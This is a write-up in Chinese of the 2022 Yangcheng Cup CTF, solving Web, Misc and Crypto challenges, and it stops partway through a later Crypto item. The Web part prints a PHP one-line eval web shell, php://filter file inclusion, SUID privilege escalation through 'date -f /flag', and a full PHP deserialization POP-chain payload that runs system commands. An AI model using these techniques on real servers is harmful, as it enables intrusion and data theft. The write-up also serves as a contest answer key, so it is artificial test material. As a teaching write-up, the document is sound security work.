2022年羊城杯网络安全大赛

大赛由中共广州市委网络安全和信息化委员会办公室作为指导单位,广州市网络安全产业促进会主办,广东外语外贸大学、杭州安恒信息技术股份有限公司承办,广州市信息安全测评中心、广州互联网协会协办。

大赛以“网络安全为人民、网络安全靠人民”为主题,旨在通过竞赛的方式提高参赛选手攻防兼备的网络安全实践技能,实现以赛促学、以赛会友,加强不同院校及单位间的技术交流。

本届大赛由【广外女生战队】与杭州安恒信息技术股份有限公司共同命题,采用CTF(夺旗赛)团队竞赛模式,参赛队伍通过互联网在线解题,题目类型涉及Web安全、逆向工程 (Reverse)、二进制漏洞挖掘和利用(Pwn)、密码学(Crypto)、杂项(Misc)等类别。

比赛时间:9月3日 9:00 - 9月4日 9:00


WEB

rce_me

简单web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

非预期。Dirsearch扫一下发现他人上传的shell.php,利用file参数include+伪协议包含一下:

?file=php://filter/read=convert.base64-encode/resource=shell.php

base64解码得到源码:<?php @eval($_POST[a]);?>

用蚁剑连接上,在根目录下发现flag,但是权限不够无法查看。

find / -user root -perm -4000 -print 2>/dev/null 查看具有SUID权限的可执行文件,发现date命令可用,提权:

date -f /flag

在报错文字中获取flag内容。

Safepop

Wake up!Pop corn is not safe food,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}

class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}

class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}

找反序列化pop链:

Test/getFlag() <- A/__get($p) <- B/__destruct()

由于类A存在过滤 preg_match("/Test/",get_class($this->a)),类A不能调类Test,利用上类Fun:

Fun/__call($f,$p) <- A/__get($p) <- B/__destruct()

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from phpserialize import serialize
from urllib.parse import *

class Test:
pass

class Fun:
private_func = 'system'

class A:
public_a = Fun()

class B:
# public_p = 'ls /'
public_p = 'cat /flag?'
public_a = A()

print(quote(serialize(B())))

# O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A1%3A%22p%22%3Bs%3A10%3A%22cat%20/flag%3F%22%3B%7D

由于类Fun有 __wakeup() 会清空 private $func,修改数字绕过 __wakeup()

O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A1%3A%22p%22%3Bs%3A10%3A%22cat%20/flag%3F%22%3B%7D

传入pop参数得到flag。

MISC

where_is_secret

easy_misc

一个vig.txt和一个zip压缩包,txt中文字

Naseu bybkjkl, O wt mna Wkkopwkja hl Qrkgeux Fasxtorr. Zdl Kaozbgj hksu oty fblz hhntyoxj wu tzphvq ku Nqnhbta, hgj pox Qupo geyiuna ago ixkj jhtpyhrhlw hu aak Nblyehg gntr. Nahkj pvwgu pl QBJ Vxwgr Zdbkyzhr, O jlxj ovfkkux zk ikojn fk 29.94 bpgmay-layrbtc vkocpggh jaoyrxt wz kgpphto uhc. Soxt E yxvas mna Ynyoptt wyfe, E dbrh pgbeax ekb mu yvfk pv Nqnhbta ah ha aak rpvk lyxyekxtp.aak lhlysvkj ez ZCDA@K1tz0frjo

使用在线维吉尼亚密码解密网站解出明文:

Hello friends, I am the President of Ukraine Zelensky. The Russian army has just launched an attack on Ukraine, and the Kyiv airport has been controlled by the Russian army. Heard today is KFC Crazy Thursday, I need someone to bring me 29.94 finger-sucking original chicken as rations now. When I repel the Russian army, I will invite you to come to Ukraine to be the vice president.the password is GWHT@R1nd0yyds

用密码 GWHT@R1nd0yyds 解压zip,得到一张bmp图,根据比赛中期放的hint提示加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from PIL import Image
import math


def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5)
im = Image.new("RGB", (width, width), 0x0)

x, y = 0, 0
for i in text:
index = ord(i)
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im


if __name__ == '__main__':
with open("829962.txt", encoding="gbk") as f:
all_text = f.read()

im = encode(all_text)
im.save("out.bmp")

通过爆破方法逆回原文本即可,发现原文为一本书,包含大量中文,还原时设置不输出中文,缩短运行时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from PIL import Image
img = Image.open(r'out.bmp')
width, height = img.size

text=''

x, y = 0, 0
for i in range(200000):
try:
r,g,b = img.getpixel((x,y))
for j in range(126):
if ((j & 0xFF00) >> 8) == g and j & 0xFF == b:
text+=chr(j)
break
else:
pass
if x == width - 1:
x = 0
y += 1
else:
x += 1
except:
break

print(x,y)

open(r'text.txt','w').write(text)

在得到的字符里,找到flag格式的且带有意义的字符,组成flag:flag{h1d3_1n_th3_p1ctur3}

迷失幻境

走不出自责空间,沉溺于我们昨天,还能不能相见。

用DiskGenius打开vmdk文件,在回收站发现一张可莉jpg图片和一张无文件类型后缀的幻境png图片,提取出来。

在“迷失幻境”夹子里有1张可莉jpg图片和100张一样的幻境png图片,前后相同图片的大小不同,尝试盲水印提取信息不成功,再尝试将幻境png大图与小图进行减(sub)操作,得到

solved

key为 可莉前来报道

回收站里可莉jpg图片存在备注信息 猜不到,怎么想都猜不到吧。,用outguess提取:

outguess -r keli.jpg -k "可莉前来报道" -t out.txt

得到flag:DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

签个到

签个到,请注意,本次比赛所有 flag 提交时都只需要提交括号内的字符串,比如这个题的 flag 如果是 flag{xxx}, 您只需要提交 xxx 即可得分。

ZMJTPM33TIGQTLMDTV4JXLYQTNMQTAOLTSGTRMOLZD2JPMOETIEQBZ3PTZ2U2===,初看为base32,解码为乱码。

flag{ 对应base32编码为 MZWGCZ33,故为rot13+base32,解码得 flag{5f3c029eac023481fbd8d5ad15b73b34}

CRYPTO

LRSA

RSA and some other things

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import gmpy2
from flag import flag

m=bytes_to_long(flag)

def getPQ(p,q):
P=getPrime(2048)
Q=getPrime(2048)
t=(p*P-58*P+q)%Q
assert (isPrime(Q))
return P,Q,t

B=getRandomNBitInteger(11)
p=getPrime(B)
q=getPrime(B)
n=p*q
e=65537
c=pow(m,e,n)
P,Q,t=getPQ(p,q)

print("B=",B)
print("P*P*Q=",P*P*Q)
print("P*Q*Q=",P*Q*Q)
print("t=",t)
print("c=",c)

$\gcd(P \cdot P \cdot Q,P \cdot Q \cdot Q)=P \cdot Q$,继而求得 $P$ 和 $Q$,又有 $t=(P \cdot(p-58)+q) \bmod Q$,构造格 $\begin{bmatrix} 1 & P \newline 0 & Q \end{bmatrix}$,利用LLL算法规约得到 $p-58$ 和 $q$ 值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
B = 1023
PPQ = 17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQQ = 17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t = 44
c = 4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
e = 65537

PQ = gcd(PPQ,PQQ)
P = PPQ//PQ
Q = PQQ//PQ
print(P)
print(Q)

A = Matrix(ZZ,[[1,P],[0,Q]])
x = A.LLL()[0][0]
p = -x+58
q = (t-P*(p-58))%Q

f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,p*q)
print(bytes.fromhex(hex(m)[2:]))

# b'DASCTF{8f3djoj9wedj2_dkc903cwckckdk}'

EasyRsa

really easy rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flag import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
e = 65537
f = open("output.txt", "r")
a = f.readlines()
for i in a:
n = int(i)
c = pow(m, e, n)
m = c
print 'c = %s' % (m)
f.close()

'''
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
'''

gcd测试发现output中的 $n$ 有素公因子 $p$,逆推还原 $m$ 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
n = [65439077968397540989065489337415940784529269429684649365065378651353483030304843439003949649543376311871845618819107350646437252980144978447924976470943930075812834237368425374578215977641265884859875440799334807607478705932175148673160353577875890074101393042506714001617338265284910381849259298772642190619,86843235426823545017422014398916780909062053456790256392304973548517489132984667679637386416948409930796162377844525829968317585749956057149930523547463230147376192820753802868362225137830225967953826475779047454555958271846035526319036389127587352017149417549187850782892924691511398536178090031958365483499,57839320383142814687522363258949714784622321678585619281948174372461045134361003939684803510572969567182690634502610963365500727981041136988638273942465134797850643121827808482673619534240872593224537996099454035648829692386918230535360101064254854063175494150147494342652670585674593236663514793256521719547,52668168898129361356420333177679019946307853075463961068071790653159090226904625885080236174231665178538405547828768043706515464922611051221394704678558922339886480247663138702481349098077291584992082414494275463670330534613607852999291645500391111597009868188974671249118213040057429113174377610094956993269,79875848044631194160351918105738804229446748736206976033243436373010695259945613104837645712048695514204494137005015770637421510392760763371639480133851920449252506525423837434811693638210458851990502785655738042348115385964604080872180121543147063180945532713593712726527002909054818485584237993215139630243,73100501797447180147684637554796375398455002202770022931512541062214916136294604754404667725341796896161398464327153718845280194035978972665664657052946003418121755545770123205426883869361411412259838522099085901563107814985172942977520233320215882707710717870398128412272218474014381169303848087621856187879,89149546555397759430343098936690138982544367561661914051499112345535238108800665531588376806546499374457634397161670140520060064963391826220177798442707381640723248034061313974522233415815795656570220902974484865176728535660627712374835329967608728216749734529761431592345816592875807318876347151421393671763,66449107450661172442868032153863675098235855689218695279414435182923510356012957155941548483160873271040452368644926703812707864779900715051152673705082002761445847561495295455460041902473282731259268870375921215589157288622757488879539441498396276257589120302991242300378364101246448094955634459779361686643,79694880331320743031437708811856697413105291652061062223857313580221562305807771003185061831752133665835648647560103986928466217390444724672894866216636981793418219455653595717274553950715056120806463449033181486699963584346517910081706586345546292894426402568226579894766693070066214488743160957135286739213,70521001788476157145543175674209083194325853388116385624440232036679708917857095748070597575068955423165296665429648694541353249787337464272095260410717659726012806836884799476995758902361678737968193674368688353935424186389207123637734230550266810766585903134004322848985320790788169777840924595645463787189,51801430118171456966246071852561156183140136541960623661080056673664466785669585092926482194691254461430866302262960624015915371927788809661387318097968209364907625599562339722700041444342116899266802018340155635959614677597708758012024981583143521259152639480003228924151971208695043251548758407218187895663,87310111118839703578797261862424304499548882114635944516216618095145194843718635007052242072452831460162126955481326379219639313067967998826898344673513019946299427614605216960081461930080199023399060417820769438661351988322185620598552697590115678078498754112860310272842870106790357443602405008865116282919]
e = 65537
p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727

for i in range(len(n)-1,-1,-1):
q = int(n[i]//p)
f = (p-1)*(q-1)
d = inverse_mod(e,f)
c = int(pow(c,d,n[i]))

print(bytes.fromhex(hex(c)[2:]))

# b'GWHT{gixkJl7SJTcpLOL9zqwo}'

Solomen’s puzzle 1

F1ower做梦梦见了Reed和Solomen,他们告诉了F1ower财富密码,但是F1ower记错了几个字节。。请将最终得到的完整flag(包含DASCTF{})进行MD5后再提交,即提交:`”DASCTF